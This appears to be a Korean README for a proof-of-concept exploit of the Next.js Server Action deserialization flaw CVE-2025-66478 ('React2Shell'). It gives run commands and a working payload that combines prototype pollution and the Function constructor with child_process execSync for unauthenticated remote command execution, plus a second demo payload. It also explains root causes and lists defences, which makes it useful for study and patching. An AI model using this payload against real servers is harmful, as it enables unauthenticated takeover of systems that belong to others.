Share
## https://sploitus.com/exploit?id=9A8602EF-40C7-5247-89FC-10F3DD5A444E
# React2Shell POC

https://nextjs.org/blog/CVE-2025-66478

## ํ…Œ์ŠคํŠธ์šฉ Docker๋กœ ๋ฐฐํฌ

```bash
docker compose up -d
```

## POC

### poc.mjs - ๋ช…๋ น ์‹คํ–‰ ๊ณต๊ฒฉ

```bash
# ๊ธฐ๋ณธ ์„œ๋ฒ„(localhost:3000)์— ๋ช…๋ น ์‹คํ–‰
pnpm poc "id"

# ์„œ๋ฒ„ URL๊ณผ ๋ช…๋ น ์ง€์ •
pnpm poc http://localhost:3000 "id"

# ๋˜๋Š” ์ง์ ‘ ์‹คํ–‰
node poc.mjs "id"
node poc.mjs http://localhost:3000 "id"
```

### poc2.mjs - Next.js ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ

```bash
# Next.js ์„œ๋ฒ„ ๊ณต๊ฒฉ (๊ธฐ๋ณธ: http://localhost:3000)
pnpm poc2
pnpm poc2 http://localhost:3000

# ๋˜๋Š” ์ง์ ‘ ์‹คํ–‰
node poc2.mjs http://localhost:3000
```

## ๊ณต๊ฒฉ ๋ฐฉ๋ฒ• ๋ถ„์„

### 1. Server Action ์š”์ฒญ ์ƒ์„ฑ

```js
headers: {
  'Next-Action': 'x',  // Server Action ์‹๋ณ„์ž
  ...formData.getHeaders(),
}
```

- `Next-Action` ํ—ค๋”๊ฐ€ ์กด์žฌํ•˜๋ฉด Next.js ๋Š” ํ•ด๋‹น ์š”์ฒญ์„ Server Action ์š”์ฒญ์œผ๋กœ ์ธ์‹ํ•˜์—ฌ ์„œ๋ฒ„์—์„œ ์‹คํ–‰ํ•จ.
- ์ถ”๋ก ์ƒ Next.JS๋Š” ์ด ์ฆ‰์‹œ http body์— ๋Œ€ํ•œ ์—ญ์ง๋ ฌํ™”๋ฅผ ์‹œ๋„ํ•  ๊ฒƒ์ž„

### 2. ์•…์˜์ ์ธ payload ๊ตฌ์„ฑ

> ์‹ค์ œ Github ๊ณต๊ฐœ Repository์— ์˜ฌ๋ผ์™€์žˆ๋Š” PoC(๊ฐœ๋…์ฆ๋ช…) ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.

```js
const craftedChunk = {
  then: "$1:__proto__:then", // ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ ์กฐ์ž‘
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `var res = process.mainModule.require('child_process').execSync('${EXECUTABLE}',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:\`$\${res}\`});`,
    // If you don't need the command output, you can use this line instead:
    // _prefix: `process.mainModule.require('child_process').execSync('${EXECUTABLE}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
```

### 3. JS ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ

ํ•ด๋‹น ์‚ฌํ•ญ์€ ์ถ”๋ก ์ž…๋‹ˆ๋‹ค๋งŒ,

JS์˜ ๊ฐ์ฒด๋Š” `__proto__` ์†์„ฑ์„ ํ†ตํ•ด ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์ด ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

- Next.js์˜ ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์—์„œ `$1:__proto__:then` ์€ ํŠน๋ณ„ํ•œ ์˜๋ฏธ๋ฅผ ๊ฐ–๊ณ  ์žˆ๋‹ค๊ณ  ์ถ”์ •๋ฉ๋‹ˆ๋‹ค.
- `$1`์€ FormData์˜ ๋‘๋ฒˆ์งธ ํ•ญ๋ชฉ์ธ `formData.append('1', '"$@0"')`์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฐธ์กฐ ํ•ญ๋ชฉ์ž…๋‹ˆ๋‹ค.
- `__proto__`๋ฅผ ํ†ตํ•ด JavaScript ๊ฐ์ฒด์˜ ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.
- ๊ฒฐ๊ณผ์ ์œผ๋กœ `then` ์†์„ฑ์„ ๋ฎ์–ด์“ฐ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

JS์—์„œ `then` ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง„ ๊ฐ์ฒด๋Š” thenable๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ, `Promise` ์ฒ˜๋Ÿผ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์ด ๋‚ด์šฉ์„ ์ด์šฉํ•˜์—ฌ Next.js์˜ ์ฒ˜๋ฆฌ ๊ณผ์ •์—์„œ

1. ์—ญ์ง๋ ฌํ™”๋œ ๊ฐ์ฒด๊ฐ€ `then` ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ ,
2. `then`์ด ์กด์žฌํ•˜๋ฉด Promise ์ฒ˜๋ฆฌ ๋กœ์ง์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
3. ์ด ๊ณผ์ •์—์„œ `then`์ด ํ•จ์ˆ˜๋กœ ํ˜ธ์ถœ๋  ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ด ๋‚ด์šฉ์„ ๊ธฐ๋ฐ˜์œผ๋กœ Function ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ต๋‹ˆ๋‹ค.

```js
_formData: {
  get: "$1:constructor:constructor",
}
```

- `$1`์€ ๊ฐ์ฒด๋ฅผ ์ฐธ์กฐ
- `.constructor`๋Š” ํ•ด๋‹น ๊ฐ์ฒด์˜ ์ƒ์„ฑ์ž ํ•จ์ˆ˜
- `.constructor.constructor`๋Š” `Function` ์ƒ์„ฑ์ž๋ฅผ ์˜๋ฏธ
- `_prefix`์— ์žˆ๋Š” ๋ฌธ์ž์—ด์ด `Function` ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜๋จ

์ด์ œ `_prefix`์— ์žˆ๋Š” ๋ฌธ์ž์—ด์€ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜๋ฉ๋‹ˆ๋‹ค.

## ์ทจ์•ฝ์ ์˜ ๊ทผ๋ณธ์  ์›์ธ

1. ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ญ์ง๋ ฌํ™”
   Next.js๊ฐ€ Server Actions ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ FormData ๋‚ด์šฉ์„ ์ถฉ๋ถ„ํ•œ ๊ฒ€์ฆ ์—†์ด `Next-Action` ํ—ค๋”๊ฐ€ ์žˆ์œผ๋ฉด ํ•ด๋‹น ์š”์ฒญ์„ Server Action ์š”์ฒญ์œผ๋กœ ์ธ์‹ํ•˜์—ฌ ์„œ๋ฒ„์—์„œ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

2. ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๋ฐฉ์–ด ๋ถ€์žฌ
   `__proto__` ์†์„ฑ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜๋Š” ๋กœ์ง์ด ์—†์Šต๋‹ˆ๋‹ค.

3. ๋™์  ์ฝ”๋“œ ์‹คํ–‰
   `Function` ์ƒ์„ฑ์ž ์ ‘๊ทผ๋„ ์ฐจ๋‹จํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

## ์™œ ์ด ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ–ˆ์„๊นŒ?

JS์˜ ๋™์  ํŠน์„ฑ๊ณผ ํ”„๋กœํ† ํƒ€์ž… ๊ธฐ๋ฐ˜ ์ƒ์† ๋ชจ๋ธ์ด ์ด ๊ณต๊ฒฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ–ˆ๋‹ค๊ณ  ์ถ”๋ก ํ•ฉ๋‹ˆ๋‹ค.

1. **ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ:** ๋ชจ๋“  JS ๊ฐ์ฒด๋Š” `__proto__` ์†์„ฑ์„ ํ†ตํ•ด ํ”„๋กœํ† ํƒ€์ž…์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
2. **Thenable ํŒจํ„ด:** Promise ํ˜ธํ™˜์„ฑ์„ ์œ„ํ•ด `then` ๋ฉ”์„œ๋“œ๊ฐ€ ์žˆ์œผ๋ฉด ํŠน๋ณ„ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.
3. **Function ์ƒ์„ฑ์ž:** ๋ฌธ์ž์—ด์„ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
4. **์—ญ์ง๋ ฌํ™” ์‹ค์ˆ˜:** HTTP Body๋ฅผ ์—ญ์ง๋ ฌํ™”ํ•  ๋•Œ ์ถฉ๋ถ„ํ•œ ๊ฒ€์ฆ์ด ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

๊ฒฐ๊ตญ "์ธ์ฆ" ์—†์ด "์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰"์ด ๊ฐ€๋Šฅํ•œ 10์  ๋งŒ์ ์งœ๋ฆฌ ์ทจ์•ฝ์ ์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

## poc2.mjs ๊ณต๊ฒฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜ ๋ถ„์„

`poc2.mjs`๋Š” `poc.mjs`์™€ ๋‹ค๋ฅธ ๋ฐฉ์‹์˜ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

### Payload ๊ตฌ์กฐ ๋ถ„์„

```javascript
const payload = {
  0: "$1", // ํ•ญ๋ชฉ 0์ด ํ•ญ๋ชฉ 1์„ ์ฐธ์กฐ
  1: {
    status: "resolved_model",
    reason: 0,
    _response: "$4", // ํ•ญ๋ชฉ 4๋ฅผ ์ฐธ์กฐ
    value: '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
    then: "$2:then", // โš ๏ธ ํ•ต์‹ฌ: ํ•ญ๋ชฉ 2์˜ then ์†์„ฑ์„ ์ฐธ์กฐ
  },
  2: "$@3", // ํ•ญ๋ชฉ 3์„ ์ฐธ์กฐ (ํŠน๋ณ„ํ•œ ๋ฌธ๋ฒ•)
  3: [], // ๋นˆ ๋ฐฐ์—ด
  4: {
    _prefix: "console.log(7*7+1)//", // ์‹คํ–‰๋  ์ฝ”๋“œ
    _formData: {
      get: "$3:constructor:constructor", // Function ์ƒ์„ฑ์ž ์ ‘๊ทผ
    },
    _chunks: "$2:_response:_chunks",
  },
};
```

### ๊ณต๊ฒฉ ๋‹จ๊ณ„๋ณ„ ๋ถ„์„

#### 1๋‹จ๊ณ„: ์ฐธ์กฐ ์ฒด์ธ ๊ตฌ์ถ•

- `'0': '$1'` โ†’ ํ•ญ๋ชฉ 0์ด ํ•ญ๋ชฉ 1์„ ๊ฐ€๋ฆฌํ‚ด
- `'1': { then: '$2:then' }` โ†’ ํ•ญ๋ชฉ 1์˜ `then` ์†์„ฑ์ด ํ•ญ๋ชฉ 2์˜ `then`์„ ์ฐธ์กฐ
- `'2': '$@3'` โ†’ ํ•ญ๋ชฉ 2๊ฐ€ ํ•ญ๋ชฉ 3(๋นˆ ๋ฐฐ์—ด `[]`)์„ ์ฐธ์กฐ

#### 2๋‹จ๊ณ„: Thenable ๊ฐ์ฒด ์ƒ์„ฑ

Next.js์˜ ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์—์„œ:

1. ํ•ญ๋ชฉ 1์ด ์—ญ์ง๋ ฌํ™”๋˜๋ฉด์„œ `then: '$2:then'` ์†์„ฑ์„ ์ฒ˜๋ฆฌ
2. `$2:then`์€ ํ•ญ๋ชฉ 2์˜ `then` ์†์„ฑ์„ ์ฐธ์กฐํ•˜๋„๋ก ํ•ด์„๋จ
3. ํ•ญ๋ชฉ 2๋Š” ๋นˆ ๋ฐฐ์—ด `[]`์„ ์ฐธ์กฐ
4. ๊ฒฐ๊ณผ์ ์œผ๋กœ ํ•ญ๋ชฉ 1์ด `then` ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง„ **thenable ๊ฐ์ฒด**๋กœ ์ธ์‹๋จ

#### 3๋‹จ๊ณ„: Promise ์ฒ˜๋ฆฌ ๋กœ์ง ์œ ๋„

JavaScript์—์„œ `then` ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง„ ๊ฐ์ฒด๋Š” Promise์ฒ˜๋Ÿผ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค:

- Next.js๊ฐ€ ์ด ๊ฐ์ฒด๋ฅผ Promise๋กœ ์ธ์‹
- `then()` ๋ฉ”์„œ๋“œ๊ฐ€ ํ˜ธ์ถœ๋  ๊ฐ€๋Šฅ์„ฑ์ด ์ƒ๊น€
- ์ด ๊ณผ์ •์—์„œ ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํ†ตํ•ด ์ถ”๊ฐ€ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ด์ง

#### 4๋‹จ๊ณ„: Function ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•œ ์ฝ”๋“œ ์‹คํ–‰

```javascript
'_formData': {
    'get': '$3:constructor:constructor'
}
```

- `$3`๋Š” ๋นˆ ๋ฐฐ์—ด `[]`์„ ์ฐธ์กฐ
- `[].constructor`๋Š” `Array` ์ƒ์„ฑ์ž ํ•จ์ˆ˜
- `Array.constructor`๋Š” `Function` ์ƒ์„ฑ์ž
- `_prefix`์˜ ๋ฌธ์ž์—ด(`'console.log(7*7+1)//'`)์ด Function ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜๋จ

### poc.mjs vs poc2.mjs ์ฐจ์ด์ 

| ํŠน์ง•             | poc.mjs                    | poc2.mjs                   |
| ---------------- | -------------------------- | -------------------------- |
| **๊ณต๊ฒฉ ๋ชฉ์ **    | ๋ช…๋ น ์‹คํ–‰ (RCE)            | ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๋ฐ๋ชจ       |
| **Payload ๊ตฌ์กฐ** | `__proto__:then` ์ง์ ‘ ์‚ฌ์šฉ | ์ฐธ์กฐ ์ฒด์ธ์„ ํ†ตํ•œ ๊ฐ„์ ‘ ์ ‘๊ทผ |
| **๋ณต์žก๋„**       | ์ƒ๋Œ€์ ์œผ๋กœ ๋‹จ์ˆœ            | ๋” ๋ณต์žกํ•œ ์ฐธ์กฐ ๊ตฌ์กฐ        |

### ๊ต์œก์  ๊ด€์ ์—์„œ์˜ ํ•™์Šต ํฌ์ธํŠธ

1. **ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ ์กฐ์ž‘**

   - JavaScript์˜ ๋™์  ํŠน์„ฑ์„ ์•…์šฉํ•œ ๊ณต๊ฒฉ
   - `__proto__`๋‚˜ ์ฐธ์กฐ๋ฅผ ํ†ตํ•œ ํ”„๋กœํ† ํƒ€์ž… ์ ‘๊ทผ

2. **Thenable ํŒจํ„ด ์•…์šฉ**

   - Promise ํ˜ธํ™˜์„ฑ์„ ์œ„ํ•œ `then` ๋ฉ”์„œ๋“œ ์ฒดํฌ๋ฅผ ์•…์šฉ
   - ๊ฐ์ฒด๊ฐ€ Promise์ฒ˜๋Ÿผ ๋™์ž‘ํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๊ธฐ๋ฒ•

3. **์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ **

   - ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์‹ ๋ขฐํ•˜๊ณ  ์—ญ์ง๋ ฌํ™”ํ•˜๋Š” ์œ„ํ—˜์„ฑ
   - ์ฐธ์กฐ ํ•ด์„ ๊ณผ์ •์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ณด์•ˆ ๋ฌธ์ œ

4. **๋™์  ์ฝ”๋“œ ์‹คํ–‰**
   - `Function` ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•œ ๋ฌธ์ž์—ด โ†’ ์ฝ”๋“œ ๋ณ€ํ™˜
   - ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํ†ตํ•œ ์ƒ์„ฑ์ž ํ•จ์ˆ˜ ์ ‘๊ทผ

### ๋ฐฉ์–ด ๋ฐฉ๋ฒ•

1. **์ž…๋ ฅ ๊ฒ€์ฆ**: Server Action ์š”์ฒญ์˜ FormData ๋‚ด์šฉ์„ ์—„๊ฒฉํ•˜๊ฒŒ ๊ฒ€์ฆ
2. **ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๋ฐฉ์ง€**: `__proto__`, `constructor` ๋“ฑ์˜ ์ ‘๊ทผ ์ฐจ๋‹จ
3. **์•ˆ์ „ํ•œ ์—ญ์ง๋ ฌํ™”**: ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋งŒ ์—ญ์ง๋ ฌํ™”
4. **Function ์ƒ์„ฑ์ž ์ฐจ๋‹จ**: ๋™์  ์ฝ”๋“œ ์‹คํ–‰ ๋ฐฉ์ง€